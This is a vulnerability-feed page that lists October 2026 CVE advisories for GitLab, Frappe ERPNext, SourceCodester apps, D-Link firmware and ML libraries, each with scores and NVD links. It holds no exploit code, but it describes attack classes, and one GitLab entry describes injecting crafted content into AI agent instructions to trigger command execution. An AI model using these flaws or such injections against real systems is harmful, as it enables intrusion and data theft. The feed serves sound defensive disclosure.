### A security flaw has been discovered in SourceCodester Library Management System 1.0. This vulnerability affects the function move_uploaded_file of the file admin/add_admin.php.
https://kevwire.com/record/CVE-2026-108975
A security flaw has been discovered in SourceCodester Library Management System 1.0. This vulnerability affects the function move_uploaded_file of the file admin/add_admin.php. (Oct 13, 2026).
A security flaw has been discovered in SourceCodester Library Management System 1.0. This vulnerability affects the function move_uploaded_file of the file admin/add_admin.php. Performing a manipulation of the argument image results in unrestricted upload. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks.
CVSS 5.5 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108975).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108975&date=2026-10-25).
Sources:
NVD CVE-2026-108975: https://nvd.nist.gov/vuln/detail/CVE-2026-108975
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108975&date=2026-10-25
A security flaw has been discovered in SourceCodester Library Management System 1.0. This vulnerability affects the function move_uploaded_file of the file admin/add_admin.php. Performing a manipulation of the argument image results in unrestricted upload. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw has been found in D-Link DCS-930L B1.08B4. This impacts the function mpfd_decode of the file bootloader_region.bin of the component Emergency HTTP Recovery Server.
https://kevwire.com/record/CVE-2026-108971
A flaw has been found in D-Link DCS-930L B1.08B4. This impacts the function mpfd_decode of the file bootloader_region.bin of the component Emergency HTTP Recovery Server. (Oct 13, 2026).
A flaw has been found in D-Link DCS-930L B1.08B4. This impacts the function mpfd_decode of the file bootloader_region.bin of the component Emergency HTTP Recovery Server. Executing a manipulation of the argument firmware can lead to improper verification of cryptographic signature. The attack may be performed from remote. The exploit has been published and may be used.
CVSS 8.6 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108971).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108971&date=2026-10-25).
Sources:
NVD CVE-2026-108971: https://nvd.nist.gov/vuln/detail/CVE-2026-108971
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108971&date=2026-10-25
A flaw has been found in D-Link DCS-930L B1.08B4. This impacts the function mpfd_decode of the file bootloader_region.bin of the component Emergency HTTP Recovery Server. Executing a manipulation of the argument firmware can lead to improper verification of cryptographic signature. The attack may be performed from remote. The exploit has been published and may be used.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security flaw has been discovered in SourceCodester Performance Indicator System 1.0. Impacted is an unknown function of the file /opils/staff/edit_credit.php.
https://kevwire.com/record/CVE-2026-108967
A security flaw has been discovered in SourceCodester Performance Indicator System 1.0. Impacted is an unknown function of the file /opils/staff/edit_credit.php. (Oct 13, 2026).
A security flaw has been discovered in SourceCodester Performance Indicator System 1.0. Impacted is an unknown function of the file /opils/staff/edit_credit.php. The manipulation of the argument credit results in sql injection. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks.
CVSS 5.5 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108967).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108967&date=2026-10-25).
Sources:
NVD CVE-2026-108967: https://nvd.nist.gov/vuln/detail/CVE-2026-108967
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108967&date=2026-10-25
A security flaw has been discovered in SourceCodester Performance Indicator System 1.0. Impacted is an unknown function of the file /opils/staff/edit_credit.php. The manipulation of the argument credit results in sql injection. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in storyicon comfyui_segment_anything up to ab6395596399d5048639cdab7e44ec9fae857a93. Affected by this issue is the function SLConfig._file2dict of...
https://kevwire.com/record/CVE-2026-108962
A vulnerability has been found in storyicon comfyui_segment_anything up to ab6395596399d5048639cdab7e44ec9fae857a93. Affected by this issue is the function SLConfig._file2dict of... (Oct 13, 2026).
A vulnerability has been found in storyicon comfyui_segment_anything up to ab6395596399d5048639cdab7e44ec9fae857a93. Affected by this issue is the function SLConfig._file2dict of the file local_groundingdino/util/slconfig.py of the component GroundingDINO Model Loading. Such manipulation of the argument config leads to code injection. It is possible to launch the attack remotely. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.3 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108962).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108962&date=2026-10-25).
Sources:
NVD CVE-2026-108962: https://nvd.nist.gov/vuln/detail/CVE-2026-108962
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108962&date=2026-10-25
A vulnerability has been found in storyicon comfyui_segment_anything up to ab6395596399d5048639cdab7e44ec9fae857a93. Affected by this issue is the function SLConfig._file2dict of the file local_groundingdino/util/slconfig.py of the component GroundingDINO Model Loading. Such manipulation of the argument config leads to code injection. It is possible to launch the attack remotely. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A weakness has been identified in TensorLayer up to 2.2.4. This affects the function load_hdf5_graph of the file tensorlayer/files/utils.py of the component HDF5 Loading.
https://kevwire.com/record/CVE-2026-108958
A weakness has been identified in TensorLayer up to 2.2.4. This affects the function load_hdf5_graph of the file tensorlayer/files/utils.py of the component HDF5 Loading. (Oct 13, 2026).
A weakness has been identified in TensorLayer up to 2.2.4. This affects the function load_hdf5_graph of the file tensorlayer/files/utils.py of the component HDF5 Loading. Executing a manipulation of the argument model_config can lead to deserialization. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 2.1 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108958).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108958&date=2026-10-25).
Sources:
NVD CVE-2026-108958: https://nvd.nist.gov/vuln/detail/CVE-2026-108958
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108958&date=2026-10-25
A weakness has been identified in TensorLayer up to 2.2.4. This affects the function load_hdf5_graph of the file tensorlayer/files/utils.py of the component HDF5 Loading. Executing a manipulation of the argument model_config can lead to deserialization. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was found in k2-fsa sherpa-onnx up to 1.13.8. This issue affects the function OfflineTransducerGreedySearchDecoder::Decode of the file...
https://kevwire.com/record/CVE-2026-108954
A vulnerability was found in k2-fsa sherpa-onnx up to 1.13.8. This issue affects the function OfflineTransducerGreedySearchDecoder::Decode of the file... (Oct 13, 2026).
A vulnerability was found in k2-fsa sherpa-onnx up to 1.13.8. This issue affects the function OfflineTransducerGreedySearchDecoder::Decode of the file sherpa-onnx/csrc/offline-transducer-greedy-search-decoder.cc of the component Offline Transducer Greedy Search Decoder. The manipulation of the argument vocab_size results in buffer overflow. The attack can be launched remotely. The exploit has been made public and could be used. If only official model packs are used and they always keep metadata consistent with the joiner, the bug may not be reachable in normal supported usage. However, from a security and robustness standpoint, the code still contains the vulnerability because it trusts unvalidated model metadata and can be triggered by a malformed or tampered model pack.
CVSS 2.1 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108954).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108954&date=2026-10-25).
Sources:
NVD CVE-2026-108954: https://nvd.nist.gov/vuln/detail/CVE-2026-108954
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108954&date=2026-10-25
A vulnerability was found in k2-fsa sherpa-onnx up to 1.13.8. This issue affects the function OfflineTransducerGreedySearchDecoder::Decode of the file sherpa-onnx/csrc/offline-transducer-greedy-search-decoder.cc of the component Offline Transducer Greedy Search Decoder. The manipulation of the argument vocab_size results in buffer overflow. The attack can be launched remotely. The exploit has been made public and could be used. If only official model packs are used and they always keep metadata consistent with the joiner, the bug may not be reachable in normal supported usage. However, from a security and robustness standpoint, the code still contains the vulnerability because it trusts unvalidated model metadata and can be triggered by a malformed or tampered model pack.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### GitLab has remediated an issue in GitLab CE/EE affecting all versions before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed...
https://kevwire.com/record/CVE-2026-14814
GitLab has remediated an issue in GitLab CE/EE affecting all versions before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed... (Oct 13, 2026).
GitLab has remediated an issue in GitLab CE/EE affecting all versions before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed a user to poison cached responses for raw repository files, causing targeted users' CI/CD pipelines to execute specially crafted content and potentially exposing protected environment variables, due to improper validation of repository references.
CVSS 8.2 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-14814).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-14814&date=2026-10-25).
Sources:
NVD CVE-2026-14814: https://nvd.nist.gov/vuln/detail/CVE-2026-14814
Vendor advisory (via NVD references): https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-14814&date=2026-10-25
GitLab has remediated an issue in GitLab CE/EE affecting all versions before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed a user to poison cached responses for raw repository files, causing targeted users' CI/CD pipelines to execute specially crafted content and potentially exposing protected environment variables, due to improper validation of repository references.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### GitLab has remediated an issue in GitLab EE affecting all versions from 18.1 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have...
https://kevwire.com/record/CVE-2026-81839
GitLab has remediated an issue in GitLab EE affecting all versions from 18.1 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have... (Oct 13, 2026).
GitLab has remediated an issue in GitLab EE affecting all versions from 18.1 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed an authenticated user to execute arbitrary CI/CD pipelines in a transferred project with the new group's privileges due to improper cleanup of scheduled pipeline execution policy records.
CVSS 7.7 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-81839).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-81839&date=2026-10-25).
Sources:
NVD CVE-2026-81839: https://nvd.nist.gov/vuln/detail/CVE-2026-81839
Vendor advisory (via NVD references): https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-81839&date=2026-10-25
GitLab has remediated an issue in GitLab EE affecting all versions from 18.1 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed an authenticated user to execute arbitrary CI/CD pipelines in a transferred project with the new group's privileges due to improper cleanup of scheduled pipeline execution policy records.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### GitLab has remediated an issue in GitLab EE affecting all versions from 19.1 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have...
https://kevwire.com/record/CVE-2026-96893
GitLab has remediated an issue in GitLab EE affecting all versions from 19.1 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have... (Oct 13, 2026).
GitLab has remediated an issue in GitLab EE affecting all versions from 19.1 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed an authenticated user to inject specially crafted content into AI agent instructions, potentially causing unintended command execution attributed to other users, due to improper neutralization of special elements in AI conversation context construction.
CVSS 7.3 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96893).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96893&date=2026-10-25).
Sources:
NVD CVE-2026-96893: https://nvd.nist.gov/vuln/detail/CVE-2026-96893
Vendor advisory (via NVD references): https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96893&date=2026-10-25
GitLab has remediated an issue in GitLab EE affecting all versions from 19.1 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed an authenticated user to inject specially crafted content into AI agent instructions, potentially causing unintended command execution attributed to other users, due to improper neutralization of special elements in AI conversation context construction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could...
https://kevwire.com/record/CVE-2026-97229
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could... (Oct 13, 2026).
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed an unauthenticated user to execute arbitrary code on the GitLab server via a specially crafted regular expression in a CI/CD configuration, due to insufficient regular expression validation.
CVSS 10.0 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97229).
EPSS 18.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97229&date=2026-10-25).
Sources:
NVD CVE-2026-97229: https://nvd.nist.gov/vuln/detail/CVE-2026-97229
Vendor advisory (via NVD references): https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97229&date=2026-10-25
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed an unauthenticated user to execute arbitrary code on the GitLab server via a specially crafted regular expression in a CI/CD configuration, due to insufficient regular expression validation.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.111.0 and 16.x before 16.22.0 contains a privilege escalation vulnerability in a record-creation endpoint that takes the record type from the request and...
https://kevwire.com/record/CVE-2026-109667
Frappe ERPNext before 15.111.0 and 16.x before 16.22.0 contains a privilege escalation vulnerability in a record-creation endpoint that takes the record type from the request and... (Oct 12, 2026).
Frappe ERPNext before 15.111.0 and 16.x before 16.22.0 contains a privilege escalation vulnerability in a record-creation endpoint that takes the record type from the request and inserts the record with permission checks disabled. Any authenticated user, including one holding no operational role, can supply a privileged record type to create privileged accounts and take full control of the site.
CVSS 8.7 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109667).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109667&date=2026-10-25).
Sources:
NVD CVE-2026-109667: https://nvd.nist.gov/vuln/detail/CVE-2026-109667
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109667&date=2026-10-25
Frappe ERPNext before 15.111.0 and 16.x before 16.22.0 contains a privilege escalation vulnerability in a record-creation endpoint that takes the record type from the request and inserts the record with permission checks disabled. Any authenticated user, including one holding no operational role, can supply a privileged record type to create privileged accounts and take full control of the site.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains a server-side template injection vulnerability because user-controlled message fields are not validated before...
https://kevwire.com/record/CVE-2026-109652
Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains a server-side template injection vulnerability because user-controlled message fields are not validated before... (Oct 12, 2026).
Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains a server-side template injection vulnerability because user-controlled message fields are not validated before template rendering, allowing expressions to run in an unrestricted context. Authenticated attackers holding a common operational role can inject template expressions to read and write arbitrary database data, delete documents, send outbound requests from the server, and send mail from the site.
CVSS 8.7 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109652).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109652&date=2026-10-25).
Sources:
NVD CVE-2026-109652: https://nvd.nist.gov/vuln/detail/CVE-2026-109652
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109652&date=2026-10-25
Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains a server-side template injection vulnerability because user-controlled message fields are not validated before template rendering, allowing expressions to run in an unrestricted context. Authenticated attackers holding a common operational role can inject template expressions to read and write arbitrary database data, delete documents, send outbound requests from the server, and send mail from the site.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.106.0 and 16.x before 16.16.0 contains an SQL injection vulnerability in multiple endpoints caused by missing input validation.
https://kevwire.com/record/CVE-2026-109647
Frappe ERPNext before 15.106.0 and 16.x before 16.16.0 contains an SQL injection vulnerability in multiple endpoints caused by missing input validation. (Oct 12, 2026).
Frappe ERPNext before 15.106.0 and 16.x before 16.16.0 contains an SQL injection vulnerability in multiple endpoints caused by missing input validation. Authenticated attackers can send specially crafted requests to these endpoints to manipulate database queries and extract sensitive information from the ERPNext database.
CVSS 7.1 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109647).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109647&date=2026-10-25).
Sources:
NVD CVE-2026-109647: https://nvd.nist.gov/vuln/detail/CVE-2026-109647
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109647&date=2026-10-25
Frappe ERPNext before 15.106.0 and 16.x before 16.16.0 contains an SQL injection vulnerability in multiple endpoints caused by missing input validation. Authenticated attackers can send specially crafted requests to these endpoints to manipulate database queries and extract sensitive information from the ERPNext database.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 16.14.0 contains a missing authorization vulnerability that allows authenticated users to modify master data beyond their permitted role.
https://kevwire.com/record/CVE-2026-109637
Frappe ERPNext before 16.14.0 contains a missing authorization vulnerability that allows authenticated users to modify master data beyond their permitted role. (Oct 12, 2026).
Frappe ERPNext before 16.14.0 contains a missing authorization vulnerability that allows authenticated users to modify master data beyond their permitted role. Attackers can send requests to certain endpoints lacking proper authorization checks to make unauthorized changes to master data records.
CVSS 7.1 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109637).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109637&date=2026-10-25).
Sources:
NVD CVE-2026-109637: https://nvd.nist.gov/vuln/detail/CVE-2026-109637
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109637&date=2026-10-25
Frappe ERPNext before 16.14.0 contains a missing authorization vulnerability that allows authenticated users to modify master data beyond their permitted role. Attackers can send requests to certain endpoints lacking proper authorization checks to make unauthorized changes to master data records.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.121.0 and 16.x before 16.33.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks.
https://kevwire.com/record/CVE-2026-109632
Frappe ERPNext before 15.121.0 and 16.x before 16.33.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks. (Oct 12, 2026).
Frappe ERPNext before 15.121.0 and 16.x before 16.33.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks. Authenticated users can call these endpoints directly to read data beyond what their assigned role permits.
CVSS 7.1 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109632).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109632&date=2026-10-25).
Sources:
NVD CVE-2026-109632: https://nvd.nist.gov/vuln/detail/CVE-2026-109632
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109632&date=2026-10-25
Frappe ERPNext before 15.121.0 and 16.x before 16.33.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks. Authenticated users can call these endpoints directly to read data beyond what their assigned role permits.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.120.0 and 16.x before 16.33.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper permission checks.
https://kevwire.com/record/CVE-2026-109627
Frappe ERPNext before 15.120.0 and 16.x before 16.33.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper permission checks. (Oct 12, 2026).
Frappe ERPNext before 15.120.0 and 16.x before 16.33.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper permission checks. Authenticated low-privileged users can request these endpoints directly to read financial data beyond what their assigned role permits.
CVSS 7.1 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109627).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109627&date=2026-10-25).
Sources:
NVD CVE-2026-109627: https://nvd.nist.gov/vuln/detail/CVE-2026-109627
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109627&date=2026-10-25
Frappe ERPNext before 15.120.0 and 16.x before 16.33.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper permission checks. Authenticated low-privileged users can request these endpoints directly to read financial data beyond what their assigned role permits.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains an SQL injection vulnerability in some endpoints that lack input validation.
https://kevwire.com/record/CVE-2026-109609
Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains an SQL injection vulnerability in some endpoints that lack input validation. (Oct 12, 2026).
Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains an SQL injection vulnerability in some endpoints that lack input validation. Authenticated attackers with low privileges can send specially crafted requests to these endpoints to inject SQL and extract sensitive information from the ERPNext database.
CVSS 7.1 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109609).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109609&date=2026-10-25).
Sources:
NVD CVE-2026-109609: https://nvd.nist.gov/vuln/detail/CVE-2026-109609
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109609&date=2026-10-25
Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains an SQL injection vulnerability in some endpoints that lack input validation. Authenticated attackers with low privileges can send specially crafted requests to these endpoints to inject SQL and extract sensitive information from the ERPNext database.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe Framework before 15.117.0 and 16.x before 16.30.0 contains an arbitrary file read vulnerability in the handling of attributes in outgoing email HTML.
https://kevwire.com/record/CVE-2026-109601
Frappe Framework before 15.117.0 and 16.x before 16.30.0 contains an arbitrary file read vulnerability in the handling of attributes in outgoing email HTML. (Oct 12, 2026).
